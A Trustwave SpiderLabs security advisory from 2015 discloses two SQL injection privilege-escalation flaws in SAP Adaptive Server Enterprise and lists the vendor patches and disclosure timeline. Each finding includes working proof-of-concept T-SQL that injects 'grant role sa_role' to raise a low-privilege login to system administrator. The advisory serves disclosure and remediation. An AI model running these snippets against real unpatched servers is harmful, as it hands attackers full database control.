Trustwave SpiderLabs Security Advisory TWSL2015-003: Multiple Vulnerabilities in SAP Adaptive Server Enterprise Published: 03/19/2015 Version: 1.0 Vendor: SAP (www.sap.com) Product: SAP Adaptive Server Enterprise (ASE) Version affected: 15.0.3, 15.5, 15.7, 16.0 Product description: Relational database management system for UNIX, Linux, and Microsoft Windows platforms. Finding 1: SAP Adaptive Server Enterprise privilege escalation via SQL injection in replication support code Credit: Martin Rakhmanov of Trustwave SpiderLabs CVE: CVE-2014-6285 CWE: 89 SAP Adaptive Server Enterprise (ASE) replication support infrastructure has implementation flow that allows logins granted 'replication_role' inject SQL code that will be executed without any security checks. Database owners can also exploit this issue without the 'replication_role' granted. Please see enclosed proof-of-concept code that elevates privileges for login granted 'replication_role' to 'sa_role': -- run as 'demologin' who holds 'replication_role' use tempdb go create table mpl (id int primary key, val text) go exec sp_setreptable mpl, true, owner_on, use_index go set quoted_identifier on go declare @index_name varchar(200) select @index_name = 'mpl.repl_' + cast(object_id('mpl') as varchar(100)) + '_250' exec sp_rename @index_name, '"A"grant role sa_role to demologin--"', 'index' go sp_setreptable mpl, false go drop table mpl go sp_displayroles go Finding 2: SAP Adaptive Server Enterprise privilege escalation via SQL injection in dbcc createws command Credit: Martin Rakhmanov of Trustwave SpiderLabs CVE: CVE-2014-6286 CWE: 89 SAP ASE dbcc createws command has implementation flow that allows users granted CREATE DATABASE privilege inject SQL code that will be executed without any security checks. Please see enclosed proof-of-concept code that elevates privileges for user granted CREATE DATABASE privilege to 'sa_role': -- run as 'demologin' who can create databases create database dbccdb go dbcc createws(dbccdb, 'x', 'b(id int) grant role sa_role to demologin--', scan, 48) go Remediation Steps: Apply one of these following vendor supplied patches: SAP ASE 16.0 GA PL05 SAP ASE 15.7 SP130 SAP ASE 15.5 ESD#5.4 SAP ASE 15.0.3 ESD#4.4 Revision History: 06/24/2014 - Finding 1 disclosed to vendor 07/03/2014 - Finding 2 disclosed to vendor 01/13/2015 - Patch released by vendor 03/19/2015 - Advisory published References 1. https://websmp130.sap-ag.de/sap/support/notes/2113333 2. http://scn.sap.com/docs/DOC-8218 About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risks. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs while safely embracing business imperatives including big data, BYOD and social media. More than 2.5 million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective data protection, risk management and threat intelligence. Trustwave is a privately held company, headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.